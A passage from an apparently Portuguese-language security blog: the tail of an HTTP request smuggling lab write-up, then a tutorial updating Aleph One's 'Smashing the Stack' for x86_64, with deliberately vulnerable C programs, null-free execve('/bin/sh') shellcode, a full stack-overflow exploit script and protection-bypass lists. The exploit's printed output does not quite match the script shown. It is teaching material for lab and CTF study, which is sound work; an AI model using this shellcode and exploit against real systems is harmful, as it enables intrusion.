    host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 8080
    detect_tecl(host, port)

Ferramentas

HTTP Request Smuggler (extensão Burp Suite): automatiza detecção de todas as variantes
smuggler.py (github.com/defparam/smuggler): scanner CLI
h2csmuggler: específico para HTTP/2 cleartext upgrade smuggling
Turbo Intruder (Burp): para single-packet attacks e race conditions

Dicas práticas para pentest

Sempre testar com timing primeiro. Não envie payloads destrutivos sem confirmar a vulnerabilidade.
Testar todas as variantes. CL.TE, TE.CL, TE.TE, H2.CL, H2.TE.
Testar obfuscação de TE. Espaços, tabs, case variation, line folding.
Verificar connection reuse. Se o proxy não reutiliza conexões, smuggling não tem impacto em outros usuários.
Documentar o impacto. Smuggling sozinho é “médio”; smuggling + bypass de auth ou cache poisoning é crítico.

13. Timeline e Referências Históricas

Ano	Evento
2005	Watchfire publica “HTTP Request Smuggling” (paper original)
2005-2019	Classe de vulnerabilidade largamente ignorada pela indústria
2019	James Kettle apresenta “HTTP Desync Attacks” na DEF CON 27
2019	Múltiplos CVEs em proxies (HAProxy, Nginx, Apache Traffic Server)
2020	AWS adiciona desync mitigation mode ao ALB
2021	Kettle publica pesquisa sobre HTTP/2 request smuggling
2022	CVEs em Node.js, Golang net/http, e outros por parsing inconsistente
2023	“Smashing the State Machine” na DEF CON 31, race conditions via desync
2024	CONTINUATION Flood (CVE-2024-27316, CVE-2024-24549)
2024	HTTP/2 Rapid Reset (CVE-2023-44487) usado em DDoS massivos

Conclusão

Request smuggling é uma daquelas classes de vulnerabilidade que te faz repensar coisas que você achava que entendia. HTTP parece simples. Proxy na frente do backend parece seguro. Conexões keep-alive parecem uma otimização inofensiva. Até você perceber que cada componente na cadeia tem seu próprio parser, suas próprias idiossincrasias, e que a discordância entre eles é explorável.

O que me fascina nessa classe de vulnerabilidade é que ela não é um bug de implementação isolado, é um problema arquitetural. Você pode ter cada componente individualmente correto e ainda assim ter smuggling, porque o problema está na interação entre eles. É o tipo de coisa que só aparece quando você olha o sistema como um todo, não cada peça separadamente.

A pesquisa do James Kettle (tanto a de 2019 quanto a de 2023) mostrou que esse tipo de dessincronização é muito mais amplo do que request smuggling. Race conditions, state machine confusion, parser differentials… são todas manifestações do mesmo problema: sistemas distribuídos são difíceis de manter consistentes, e adversários sofisticados exploram exatamente essas inconsistências.

Se você trabalha com infraestrutura web, a mensagem é clara: não confie que seus componentes concordam sobre o que estão processando. Teste. Valide. Use modos estritos. E mantenha tudo atualizado.

Reproduzindo o lab

Todo o código está no repositório github.com/renansj/http-smuggling-lab:

git clone https://github.com/renansj/http-smuggling-lab.git
cd http-smuggling-lab

# Compilar
gcc -o backend backend.c -lpthread
gcc -o proxy proxy.c -lpthread

# Rodar (em terminais separados)
./backend 9090
./proxy 8080 9090

# Explorar
python3 smuggle_demo.py 127.0.0.1 9090   # direto no backend
python3 smuggle_tecl.py 127.0.0.1 8080   # via proxy

Leitura recomendada

HTTP Desync Attacks: Smashing into the Cell Next Door (James Kettle, 2019)
Smashing the State Machine: The True Potential of Web Race Conditions (James Kettle, 2023)
HTTP/2: The Sequel is Always Worse (James Kettle, 2021)
RFC 7230 §3.3.3: Message Body Length
AWS ALB Desync Mitigation
PortSwigger Web Security Academy: Request Smuggling Labs

Smashing the Stack em 2026: Atualização para x86_64 (PT-BR)

Thu, 07 May 2026 00:00:00 +0000

Introdução

Em novembro de 1996, Aleph One publicou na revista eletrônica Phrack (edição 49) o artigo “Smashing the Stack for Fun and Profit”. Pra mim, esse texto é uma das coisas mais bonitas já escritas na área de segurança. Não é exagero. É o tipo de material que te faz entender que computação de verdade acontece lá embaixo, nos bytes, nos registradores, na memória crua. Ele introduziu milhares de pesquisadores ao mundo da exploração de binários e se tornou referência absoluta na comunidade de segurança ofensiva.

Eu lembro de ter lido esse artigo pela primeira vez e sentido aquele estalo. Foi ele, junto com a conferência H2HC, que despertou em mim o interesse real por exploração de binários. Ver aquelas talks ao vivo, pesquisadores brasileiros quebrando coisas que pareciam impossíveis, e depois voltar pra casa e reler o Aleph One com outros olhos… isso mudou minha trajetória. Tem uma admiração genuína que eu carrego por esse texto e por tudo que ele representa na história do hacking.

No dia a dia eu trabalho mais na parte web, mas exploração de binário é uma área que admiro demais e levo como hobby. Tem algo nesse contato direto com a memória, com os registradores, com o fluxo de execução cru, que me fascina de um jeito diferente. É onde a máquina fica nua, sem abstração nenhuma te protegendo.

O artigo original explicava, de forma didática e progressiva, como funcionava a stack em processadores x86 (32 bits), como variáveis locais e endereços de retorno eram organizados na memória, e como um buffer overflow podia ser explorado para redirecionar o fluxo de execução de um programa e executar código arbitrário (shellcode).

Por que uma atualização?

Passaram-se 30 anos. O mundo mudou bastante:

Aspecto	1996 (original)	2026 (este artigo)
Arquitetura	x86 (32 bits)	x86_64 (64 bits)
Registradores	EIP, ESP, EBP (32 bits)	RIP, RSP, RBP (64 bits)
Calling convention	cdecl (args na stack)	System V AMD64 ABI (args em registradores)
Endereços	4 bytes, sem null bytes problemáticos	8 bytes, endereços canônicos com null bytes
Proteções	Nenhuma	NX/DEP, ASLR, Stack Canaries, PIE, RELRO
Shellcode	Direto na stack	Requer bypass de NX (ROP/ret2libc)

O artigo original continua sendo uma excelente introdução conceitual, mas os exemplos práticos não funcionam mais em sistemas modernos sem adaptação significativa. A ideia aqui é manter a abordagem didática do original, mas atualizar tudo para a realidade de 2026.

Para quem é este artigo?

Iniciantes em exploração de binários que querem entender os fundamentos
Pesquisadores que leram o original e querem entender as diferenças em x64
Jogadores de CTF que precisam de uma base sólida em pwn
Profissionais de segurança que querem entender o que protegem

Pré-requisitos

Conhecimento básico de C
Familiaridade mínima com Linux (terminal, compilação com gcc)
Curiosidade sobre como programas funcionam “por baixo”

Ambiente de laboratório

Todos os exemplos deste artigo foram compilados e testados nesta máquina:

$ uname -a
Linux kali 6.19.11+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.19.11-1kali1 (2026-04-09) x86_64 GNU/Linux

$ gcc --version
gcc (Debian 15.2.0-16) 15.2.0

$ gdb --version
GNU gdb (Debian 17.1-4) 17.1

Para reproduzir os exemplos, recomendo usar Kali Linux ou qualquer distribuição Linux x86_64 com GCC e GDB (com pwndbg ou gef instalado).

1. Organização da Memória de um Processo

Quando um programa é executado no Linux, o kernel cria um espaço de endereçamento virtual para o processo. Em x86_64, o espaço de endereçamento teórico é de 2⁶⁴ bytes, mas na prática apenas 48 bits são usados (endereços canônicos), resultando em um espaço utilizável de 256 TB.

A organização típica da memória de um processo:

Endereços altos (0x7FFF...)
┌─────────────────────────┐
│        Stack            │ ← Cresce para baixo (endereços menores)
│          ↓              │
├─────────────────────────┤
│                         │
│    (espaço livre)       │
│                         │
├─────────────────────────┤
│          ↑              │
│        Heap             │ ← Cresce para cima (endereços maiores)
├─────────────────────────┤
│        BSS              │ ← Variáveis globais não inicializadas
├─────────────────────────┤
│        Data             │ ← Variáveis globais inicializadas
├─────────────────────────┤
│        Text             │ ← Código executável (read-only)
└─────────────────────────┘
Endereços baixos (0x0000...)

Diferenças importantes em x86_64

Endereços canônicos: Em x86_64, endereços válidos em user space vão de 0x0000000000000000 a 0x00007FFFFFFFFFFF. Isso significa que endereços de stack sempre começam com 0x00007F..., contendo null bytes nos bytes mais significativos. Isso tem implicações diretas para exploração (veremos adiante).
Tamanho dos ponteiros: Todos os ponteiros têm 8 bytes (64 bits), o que significa que endereços de retorno na stack ocupam 8 bytes em vez de 4.
Alinhamento: A ABI System V AMD64 exige que a stack esteja alinhada em 16 bytes antes de uma instrução call. Isso afeta a construção de payloads.

Verificando na prática

/* memory_layout.c - Visualizar layout de memória */
#include <stdio.h>
#include <stdlib.h>

int global_init = 42;          /* segmento Data */
int global_uninit;             /* segmento BSS */

int main(int argc, char *argv[]) {
    int local_var = 1;         /* Stack */
    static int static_var = 2; /* segmento Data */
    char *heap_ptr = malloc(64); /* Heap */

    printf("== Layout de Memória (x86_64) ==\n\n");
    printf("[Text]  main()        = %p\n", (void *)main);
    printf("[Data]  global_init   = %p\n", (void *)&global_init);
    printf("[Data]  static_var    = %p\n", (void *)&static_var);
    printf("[BSS]   global_uninit = %p\n", (void *)&global_uninit);
    printf("[Heap]  heap_ptr      = %p\n", (void *)heap_ptr);
    printf("[Stack] local_var     = %p\n", (void *)&local_var);
    printf("[Stack] argc          = %p\n", (void *)&argc);

    free(heap_ptr);
    return 0;
}

Compilar e executar:

$ gcc -o memory_layout memory_layout.c -no-pie
$ ./memory_layout
== Layout de Memória (x86_64) ==

[Text]  main()        = 0x401156
[Data]  global_init   = 0x404030
[Data]  static_var    = 0x404034
[BSS]   global_uninit = 0x40403c
[Heap]  heap_ptr      = 0x46e9310
[Stack] local_var     = 0x7ffc3f979ee4
[Stack] argc          = 0x7ffc3f979edc

Observe: endereços de stack começam com 0x7fff..., e os dois bytes mais significativos são sempre 0x0000 e 0x7f. Isso é crucial para exploração.

2. A Stack em x86_64

A stack é uma região de memória LIFO (Last In, First Out) usada para:

Armazenar endereços de retorno de funções
Salvar registradores
Alocar variáveis locais
Passar argumentos (parcialmente, veremos a seguir)

Registradores fundamentais

Registrador	Função
RSP (Stack Pointer)	Aponta para o topo da stack (endereço mais baixo em uso)
RBP (Base Pointer)	Aponta para a base do stack frame atual
RIP (Instruction Pointer)	Endereço da próxima instrução a executar

Calling Convention: System V AMD64 ABI

Aqui está a diferença mais significativa em relação ao x86 original. No artigo de Aleph One, todos os argumentos de função eram passados pela stack. Em x86_64, os primeiros 6 argumentos inteiros/ponteiro são passados em registradores:

Argumento	Registrador
1º	RDI
2º	RSI
3º	RDX
4º	RCX
5º	R8
6º	R9
7º+	Stack

Argumentos de ponto flutuante usam XMM0-XMM7.

O valor de retorno vai em RAX (e RDX para valores de 128 bits).

Implicação para exploração: Não basta mais controlar a stack para controlar argumentos de funções. Pra chamar system("/bin/sh"), por exemplo, precisamos colocar o endereço de "/bin/sh" em RDI, não na stack. Isso torna a exploração mais complexa e é onde técnicas como ROP entram em cena.

Anatomia de um Stack Frame

Quando uma função é chamada em x86_64:

; Chamador (caller)
call funcao        ; push RIP (endereço de retorno) na stack, jump para funcao

; Chamado (callee) - prólogo
push rbp           ; salva o RBP do chamador
mov rbp, rsp       ; estabelece novo frame
sub rsp, N         ; aloca espaço para variáveis locais

; ... corpo da função ...

; Chamado (callee) - epílogo
leave              ; equivale a: mov rsp, rbp; pop rbp
ret                ; pop RIP da stack, jump para esse endereço

O stack frame resultante:

Endereços altos
┌─────────────────────────┐
│   Argumentos 7+         │ ← Se houver mais de 6 args
│   (do chamador)         │
├─────────────────────────┤
│   Endereço de retorno   │ ← 8 bytes, salvo pelo CALL
│   (saved RIP)           │
├─────────────────────────┤ ← RBP aponta aqui
│   RBP salvo             │ ← 8 bytes, salvo pelo PUSH RBP
│   (saved RBP)           │
├─────────────────────────┤
│   Variáveis locais      │ ← Alocadas pelo SUB RSP, N
│   buffer[64]            │
│   int x                 │
│   ...                   │
├─────────────────────────┤ ← RSP aponta aqui (topo da stack)
│                         │
Endereços baixos

Demonstração prática

/* stack_frame.c - Visualizar stack frame */
#include <stdio.h>
#include <stdint.h>

void funcao(int a, int b, int c) {
    char buffer[64];
    int local = 0xdeadbeef;
    register void *rbp_val asm("rbp");

    printf("== Stack Frame de funcao() ==\n");
    printf("Endereço de buffer:       %p\n", (void *)buffer);
    printf("Endereço de local:        %p\n", (void *)&local);
    printf("RBP atual:                %p\n", rbp_val);
    printf("Saved RBP (em *RBP):      0x%lx\n", *(uint64_t *)rbp_val);
    printf("Saved RIP (em *(RBP+8)):  0x%lx\n", *((uint64_t *)rbp_val + 1));
    printf("\n");
    printf("Distância buffer -> RIP:  %ld bytes\n",
           (char *)((uint64_t *)rbp_val + 1) - buffer);
    printf("Retornando para main em:  0x%lx\n", *((uint64_t *)rbp_val + 1));
}

int main() {
    funcao(1, 2, 3);
    printf("Retornou normalmente.\n");
    return 0;
}

$ gcc -o stack_frame stack_frame.c -fno-stack-protector -no-pie -g -O0
$ ./stack_frame
== Stack Frame de funcao() ==
Endereço de buffer:       0x7fffffffdbd0
Endereço de local:        0x7fffffffdbcc
RBP atual:                0x7fffffffdc10
Saved RBP (em *RBP):      0x7fffffffdc20
Saved RIP (em *(RBP+8)):  0x401266

Distância buffer -> RIP:  72 bytes
Retornando para main em:  0x401266
Retornou normalmente.

Nota: Usamos -fno-stack-protector para desabilitar canários de stack (veremos sobre proteções adiante). Em um cenário real, essa proteção estaria ativa.

3. Buffer Overflow: O Conceito Fundamental

A ideia central é simples: quando dados são escritos além dos limites de um buffer alocado, eles sobrescrevem dados adjacentes na memória. Na stack, isso pode sobrescrever o endereço de retorno salvo (saved RIP), e aí o atacante redireciona o fluxo de execução pra onde quiser.

O exemplo clássico (atualizado para x64)

/* vuln1.c - Buffer overflow básico */
#include <stdio.h>
#include <string.h>

void vulnerable(char *input) {
    char buffer[64];
    strcpy(buffer, input);  /* Sem verificação de tamanho! */
    printf("Você digitou: %s\n", buffer);
}

int main(int argc, char *argv[]) {
    if (argc < 2) {
        printf("Uso: %s <input>\n", argv[0]);
        return 1;
    }
    vulnerable(argv[1]);
    printf("Programa encerrou normalmente.\n");
    return 0;
}

Compilar sem proteções (para fins didáticos):

$ gcc -o vuln1 vuln1.c -fno-stack-protector -no-pie -z execstack -g

Flags explicadas:

-fno-stack-protector: desabilita stack canaries
-no-pie: desabilita Position Independent Executable (endereços fixos)
-z execstack: marca a stack como executável (desabilita NX)
-g: inclui símbolos de debug

Analisando com GDB

$ gdb ./vuln1
(gdb) disas vulnerable
Dump of assembler code for function vulnerable:
   0x0000000000401146 <+0>:     push   rbp
   0x0000000000401147 <+1>:     mov    rbp,rsp
   0x000000000040114a <+4>:     sub    rsp,0x50          ; 80 bytes para locais
   0x000000000040114e <+8>:     mov    QWORD PTR [rbp-0x48],rdi  ; salva argumento
   0x0000000000401152 <+12>:    mov    rdx,QWORD PTR [rbp-0x48]
   0x0000000000401156 <+16>:    lea    rax,[rbp-0x40]    ; buffer está em rbp-0x40
   0x000000000040115a <+20>:    mov    rsi,rdx           ; src = input
   0x000000000040115d <+23>:    mov    rdi,rax           ; dest = buffer
   0x0000000000401160 <+26>:    call   0x401030 <strcpy@plt>
   ...

Observações importantes:

buffer está em RBP - 0x40 (64 bytes abaixo de RBP)
O saved RBP está em RBP + 0x00
O saved RIP (endereço de retorno) está em RBP + 0x08
Distância de buffer até saved RIP: 64 + 8 = 72 bytes

Provocando o crash

$ ./vuln1 $(python3 -c "print('A' * 60)")
Voce digitou: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Programa encerrou normalmente.

$ ./vuln1 $(python3 -c "print('A' * 80)")
Segmentation fault (exit code: 139)

O programa crashou com 80 A’s! Vamos entender por quê:

$ gdb ./vuln1
(gdb) run $(python3 -c "print('A' * 80)")
Program received signal SIGSEGV, Segmentation fault.
0x0000000000401182 in vulnerable ()
(gdb) info registers rip rbp rsp
rip            0x401182            0x401182 <vulnerable+60>
rbp            0x4141414141414141  0x4141414141414141
rsp            0x7fffffffdb98      0x7fffffffdb98

O RBP foi sobrescrito com ‘AAAA AAAA’ (0x41 = ‘A’). Vamos escrever mais para atingir o RIP:

$ gdb ./vuln1
(gdb) run $(python3 -c "print('A' * 72 + 'B' * 6)")
Program received signal SIGSEGV, Segmentation fault.
0x0000424242424242 in ?? ()
(gdb) info registers rip rbp
rip            0x424242424242      0x424242424242
rbp            0x4141414141414141  0x4141414141414141

Controlamos o RIP! O programa tentou executar a instrução no endereço 0x0000424242424242 (os ‘B’s = 0x42, com null bytes nos 2 bytes superiores por causa dos endereços canônicos).

Mapeando o overflow

buffer[64]          saved RBP (8)    saved RIP (8)
[AAAA...64 bytes...][AAAAAAAA]       [BBBBBBBB]
                     ↑ offset 64      ↑ offset 72

Para controlar o RIP, precisamos de exatamente 72 bytes de padding seguidos do endereço desejado.

4. Redirecionando a Execução

Beleza, controlamos o RIP. E agora? O próximo passo é redirecioná-lo para algo útil. No artigo original de Aleph One, a técnica era direta: colocar shellcode na stack e apontar o RIP para ele. Vamos reproduzir isso primeiro (com proteções desabilitadas) e depois evoluir para técnicas modernas.

4.1 Redirecionando para uma função existente

O caso mais simples: redirecionar a execução para uma função que já existe no programa.

/* vuln2.c - Redirect para função existente */
#include <stdio.h>
#include <string.h>

void secret() {
    printf("[+] Função secreta executada! Você tem controle do fluxo.\n");
}

void vulnerable(char *input) {
    char buffer[64];
    strcpy(buffer, input);
}

int main(int argc, char *argv[]) {
    if (argc < 2) {
        printf("Uso: %s <input>\n", argv[0]);
        return 1;
    }
    vulnerable(argv[1]);
    printf("Programa encerrou normalmente.\n");
    return 0;
}

$ gcc -o vuln2 vuln2.c -fno-stack-protector -no-pie -z execstack -g

Primeiro, encontrar o endereço de secret():

$ objdump -d vuln2 | grep "<secret>"
0000000000401146 <secret>:

Agora construir o payload: 72 bytes de padding + endereço de secret() em little-endian:

$ python3 -c "
import struct
padding = b'A' * 72
addr = struct.pack('<Q', 0x401146)  # Q = unsigned long long (8 bytes), < = little-endian
payload = padding + addr
open('payload.bin', 'wb').write(payload)
"
$ ./vuln2 $(cat payload.bin)
[+] Função secreta executada! Você tem controle do fluxo.
Segmentation fault

Funcionou! O programa executou secret() em vez de retornar normalmente para main(). O segfault no final é esperado porque, após secret() retornar, o stack frame está corrompido.

4.2 O problema dos null bytes em x86_64

Observe o endereço 0x0000000000401146. Em little-endian:

\x46\x11\x40\x00\x00\x00\x00\x00

Há 5 null bytes (\x00). Isso é um problema quando a função vulnerável usa strcpy(), gets(), ou qualquer função que trata \x00 como terminador de string.

No nosso exemplo acima funcionou porque o endereço está no final do payload. Os null bytes terminam a string, mas o endereço já foi escrito na posição correta.

Mas se precisássemos colocar múltiplos endereços (como em uma ROP chain), os null bytes no meio do payload truncariam a cópia. Soluções:

Usar funções que não param em null bytes: read(), recv(), fread() copiam N bytes independente do conteúdo
ROP gadgets em endereços sem null bytes: buscar gadgets em regiões de endereço que não contêm \x00
Stack pivot: redirecionar RSP para uma região controlada onde o payload foi escrito via read()

4.3 Shellcode na stack (método clássico, proteções desabilitadas)

No artigo original, Aleph One colocava shellcode diretamente na stack. Vamos reproduzir isso em x64 com proteções desabilitadas:

/* vuln3.c - Shellcode na stack */
#include <stdio.h>
#include <string.h>

void vulnerable(char *input) {
    char buffer[256];  /* Buffer maior para caber o shellcode */
    strcpy(buffer, input);
}

int main(int argc, char *argv[]) {
    if (argc < 2) {
        printf("Uso: %s <input>\n", argv[0]);
        return 1;
    }
    vulnerable(argv[1]);
    return 0;
}

$ gcc -o vuln3 vuln3.c -fno-stack-protector -no-pie -z execstack -g

Shellcode x86_64 para execve(“/bin/sh”)

O shellcode clássico atualizado para 64 bits. Em x64, syscalls usam a instrução syscall (não int 0x80) e os argumentos vão em registradores diferentes:

Syscall	RAX	RDI	RSI	RDX
execve	59	filename	argv	envp

; shellcode_x64.asm - execve("/bin/sh", NULL, NULL)
; Tamanho: 27 bytes, sem null bytes

section .text
global _start

_start:
    xor    rdx, rdx          ; rdx = 0 (envp = NULL)
    xor    rsi, rsi          ; rsi = 0 (argv = NULL)
    push   rdx               ; null terminator na stack
    mov    rdi, 0x68732f6e69622f  ; "/bin/sh" em little-endian
    push   rdi               ; push "/bin/sh\0" na stack
    mov    rdi, rsp          ; rdi = ponteiro para "/bin/sh"
    mov    al, 59            ; syscall number para execve (evita null bytes)
    syscall                  ; execve("/bin/sh", NULL, NULL)

Os bytes correspondentes:

shellcode = (
    b"\x48\x31\xd2"          # xor rdx, rdx
    b"\x48\x31\xf6"          # xor rsi, rsi
    b"\x52"                   # push rdx
    b"\x48\xbf\x2f\x62\x69"  # movabs rdi, 0x68732f6e69622f
    b"\x6e\x2f\x73\x68\x00"  #   "/bin/sh\0" (NOTA: contém null byte!)
    b"\x57"                   # push rdi
    b"\x48\x89\xe7"          # mov rdi, rsp
    b"\xb0\x3b"              # mov al, 59
    b"\x0f\x05"              # syscall
)

Problema: o mov rdi, "/bin/sh\0" contém um null byte. Versão sem null bytes:

# Shellcode x64 execve("/bin/sh") - 27 bytes, NULL-free
shellcode = (
    b"\x48\x31\xf6"          # xor rsi, rsi
    b"\x56"                   # push rsi (null terminator)
    b"\x48\xbf\x2f\x62\x69"  # movabs rdi, 0x68732f2f6e69622f
    b"\x6e\x2f\x2f\x73\x68"  #   "/bin//sh" (// é equivalente a /)
    b"\x57"                   # push rdi
    b"\x48\x89\xe7"          # mov rdi, rsp
    b"\x48\x31\xd2"          # xor rdx, rdx
    b"\xb0\x3b"              # mov al, 59
    b"\x0f\x05"              # syscall
)

Exploit completo

#!/usr/bin/env python3
"""
Exploit: Stack buffer overflow com shellcode em x64
Alvo: vuln3 (compilado sem proteções)
Objetivo: Demonstração didática de shellcode injection clássico
"""
import struct
import subprocess
import sys

# Shellcode: execve("/bin//sh", NULL, NULL) - 27 bytes, null-free
shellcode = (
    b"\x48\x31\xf6"
    b"\x56"
    b"\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68"
    b"\x57"
    b"\x48\x89\xe7"
    b"\x48\x31\xd2"
    b"\xb0\x3b"
    b"\x0f\x05"
)

# Layout: buffer[256] + saved_rbp[8] + saved_rip[8]
BUFFER_SIZE = 256
OFFSET_RIP = BUFFER_SIZE + 8  # 264 bytes até o RIP

# Endereço do buffer na stack (obtido via GDB)
# NOTA: Este endereço varia! Obter com: (gdb) p &buffer
BUFFER_ADDR = 0x7fffffffdd10  # Ajustar conforme seu ambiente

# NOP sled + shellcode + padding + endereço de retorno
nop_sled = b"\x90" * (OFFSET_RIP - len(shellcode))  # NOP sled até o RIP
payload = shellcode + nop_sled  # Shellcode no início, NOPs preenchem
# Alternativa: NOPs primeiro, shellcode depois (mais confiável com NOP sled)
nop_sled_size = OFFSET_RIP - len(shellcode)
payload = b"\x90" * nop_sled_size + shellcode  # Hmm, isso não funciona

# Abordagem correta: NOP sled + shellcode + padding + endereço
nop_size = 200
payload = b"\x90" * nop_size                          # NOP sled
payload += shellcode                                   # Shellcode (27 bytes)
payload += b"A" * (OFFSET_RIP - len(payload))         # Padding até RIP
payload += struct.pack("<Q", BUFFER_ADDR + 50)        # Retorno para meio do NOP sled

print(f"[*] Tamanho do payload: {len(payload)} bytes")
print(f"[*] Shellcode: {len(shellcode)} bytes")
print(f"[*] Endereço de retorno: {hex(BUFFER_ADDR + 50)}")
print(f"[*] Executando...")

# Escrever payload em arquivo (evita problemas com null bytes no argv)
with open("/tmp/payload.bin", "wb") as f:
    f.write(payload)

print("[*] Payload salvo em /tmp/payload.bin")
print("[*] Execute: ./vuln3 $(cat /tmp/payload.bin)")

Encontrando o endereço do buffer com GDB

$ gdb ./vuln3
(gdb) break vulnerable
(gdb) run AAAA
Breakpoint 1, vulnerable (input=0x7fffffffe1a0 "AAAA") at vuln3.c:5
(gdb) p &buffer
$1 = (char (*)[256]) 0x7fffffffdd10
(gdb) quit

Nota importante: O endereço exato do buffer muda entre execuções quando ASLR está ativo. Com -no-pie e ASLR desabilitado (echo 0 | sudo tee /proc/sys/kernel/randomize_va_space), o endereço é previsível.

Executando o exploit

Com ASLR desabilitado e o endereço correto do buffer, o exploit funciona:

$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
0
$ python3 exploit_shellcode.py
[*] Shellcode size: 48 bytes
[*] Payload: 272 bytes
[*] Retorno: 0x7fffffffdb34
[+] Starting local process './vuln3': pid 720595
[+] Shellcode executado! Shell obtido:
uid=1000(kali) gid=1000(kali) groups=1000(kali)
$

O shellcode foi executado na stack e obtivemos um shell. Isso só funciona porque compilamos com -z execstack (NX desabilitado). Em binários modernos, a stack não é executável e precisamos de técnicas como ROP.

4.4 NOP Sled: Por que ainda é relevante

O NOP sled (sequência de instruções NOP = \x90) serve como “zona de pouso”. Não precisamos acertar o endereço exato do shellcode, basta cair em qualquer ponto do NOP sled e a execução “desliza” até o shellcode.

┌──────────────────────────────────────────────────────────┐
│ NOP NOP NOP NOP ... NOP NOP │ SHELLCODE │ PADDING │ RET  │
│ \x90\x90\x90\x90...\x90\x90│           │ AAAA... │ ADDR │
└──────────────────────────────────────────────────────────┘
                    ↑
            RET aponta para algum lugar aqui
            (qualquer NOP funciona)

Em x64, com endereços de 48 bits efetivos e ASLR, o NOP sled sozinho não é suficiente para exploração confiável. Mas em cenários controlados (CTF, lab), continua sendo útil.

5. Proteções Modernas: O que Mudou Desde 1996

Em 1996, não existia nenhuma proteção contra buffer overflow. Zero. Você estourava o buffer, sobrescrevia o RIP, e era isso. Hoje, sistemas modernos implementam múltiplas camadas de defesa. Entender cada uma é essencial pra saber como (e se) podem ser contornadas.

5.1 NX/DEP (No-eXecute / Data Execution Prevention)

O que faz: Marca regiões de memória como não-executáveis. A stack, heap e segmentos de dados não podem executar código. Apenas o segmento .text é executável.

Implementação: Bit NX no page table entry (hardware, suportado desde AMD64).

Impacto: Shellcode na stack não executa mais. O processador gera uma exceção ao tentar executar instrução em página marcada como NX.

Verificar:

$ checksec --file=./programa
[*] '/home/kali/programa'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No

$ readelf -l ./programa | grep GNU_STACK
  GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000
                 0x0000000000000000 0x0000000000000000  RW     0x10
                                                        ↑ RW (sem X) = NX ativo

Bypass: Return-Oriented Programming (ROP), ret2libc, ret2plt. A ideia é reutilizar código executável existente em vez de injetar novo código.

5.2 ASLR (Address Space Layout Randomization)

O que faz: Randomiza os endereços base de stack, heap, bibliotecas compartilhadas e (com PIE) do próprio executável a cada execução.

Implementação: Kernel Linux (desde 2.6.12, 2005).

Impacto: Endereços não são previsíveis. Não é possível hardcodar endereços de retorno, gadgets ou funções de biblioteca.

Verificar:

$ cat /proc/sys/kernel/randomize_va_space
2
# 0 = desabilitado, 1 = stack/libs/mmap, 2 = tudo (inclui heap)

# Demonstrar randomização
$ for i in $(seq 1 5); do ./memory_layout 2>/dev/null | grep Stack; done
[Stack] local_var     = 0x7ffe9b82fb94
[Stack] local_var     = 0x7ffcadb47284
[Stack] local_var     = 0x7ffcf7ba2734
[Stack] local_var     = 0x7fff2e6f28a4
[Stack] local_var     = 0x7ffcadb25fa4

Cada execução tem endereços diferentes!

Bypass:

Information leak: vazar um endereço de memória e calcular offsets relativos
Brute force: em 32 bits era viável (2¹⁶ possibilidades para stack), em 64 bits é impraticável
Partial overwrite: sobrescrever apenas os bytes menos significativos (que não mudam)
Format string: vazar endereços da stack via %p
ret2plt: endereços de PLT são fixos quando PIE está desabilitado

5.3 Stack Canaries (Stack Smashing Protection)

O que faz: Insere um valor aleatório (canário) entre as variáveis locais e o saved RBP/RIP. Antes de retornar, a função verifica se o canário foi modificado.

Implementação: GCC (-fstack-protector, -fstack-protector-all, -fstack-protector-strong).

Layout com canário:

┌─────────────────────────┐
│   Endereço de retorno   │ ← saved RIP
├─────────────────────────┤
│   RBP salvo             │ ← saved RBP
├─────────────────────────┤
│   CANÁRIO (8 bytes)     │ ← Valor aleatório, primeiro byte = \x00
├─────────────────────────┤
│   Variáveis locais      │
│   buffer[64]            │
├─────────────────────────┤ ← RSP

Se o buffer overflow sobrescrever o canário, a verificação falha e o programa aborta:

*** stack smashing detected ***: terminated
Aborted (exit code: 134)

Características do canário em x64 Linux:

8 bytes de tamanho
Primeiro byte é sempre \x00 (null), o que impede leak via string functions
Gerado aleatoriamente no início do processo (armazenado em TLS: fs:0x28)
Verificado com xor antes do ret

Código gerado pelo GCC com canário:

; Prólogo
mov    rax, QWORD PTR fs:0x28    ; Carrega canário do TLS
mov    QWORD PTR [rbp-0x8], rax  ; Salva na stack

; ... corpo da função ...

; Epílogo (antes do ret)
mov    rax, QWORD PTR [rbp-0x8]  ; Lê canário da stack
xor    rax, QWORD PTR fs:0x28    ; Compara com valor original
jne    __stack_chk_fail           ; Se diferente → abort
leave
ret

Bypass:

Information leak: vazar o valor do canário (format string, over-read)
Brute force byte-a-byte: em processos que fazem fork() sem re-randomizar (ex: servidores)
Overwrite sem passar pelo canário: write-what-where primitives, index out-of-bounds
Sobrescrever o canário com o valor correto: se conseguir leak primeiro

5.4 PIE (Position Independent Executable)

O que faz: Compila o executável como código posição-independente, permitindo que o ASLR randomize também o endereço base do próprio programa (não apenas libs).

Impacto: Endereços de funções do programa, gadgets ROP no binário e strings no .rodata são todos randomizados.

Verificar:

$ file programa
programa: ELF 64-bit LSB pie executable, x86-64, ...
#                       ↑ "pie executable" vs "executable"

$ checksec --file=./programa
    PIE:      PIE enabled

Bypass: Necessário leak de endereço do binário para calcular base. Partial overwrite dos bytes menos significativos (que não mudam com PIE).

5.5 RELRO (Relocation Read-Only)

O que faz: Protege a GOT (Global Offset Table) contra sobrescrita.

Partial RELRO: GOT é preenchida lazily, mas .got.plt é writable
Full RELRO: Todas as relocações são resolvidas no load time, GOT inteira é marcada read-only

Impacto: Com Full RELRO, não é possível sobrescrever entradas da GOT para redirecionar chamadas de função.

Bypass: Com Full RELRO, atacar outros alvos: hooks de malloc, __free_hook, __malloc_hook (removidos em glibc 2.34+), vtables, ponteiros de função em estruturas.

5.6 Fortify Source

O que faz: Substitui funções inseguras por versões com verificação de tamanho em tempo de compilação e execução (__strcpy_chk, __memcpy_chk, etc.).

Ativação: -D_FORTIFY_SOURCE=2 (padrão em muitas distros com -O2).

Impacto: strcpy(buffer, input) é substituído por __strcpy_chk(buffer, input, sizeof(buffer)) quando o compilador consegue determinar o tamanho do buffer.

5.7 Resumo de proteções e compilação

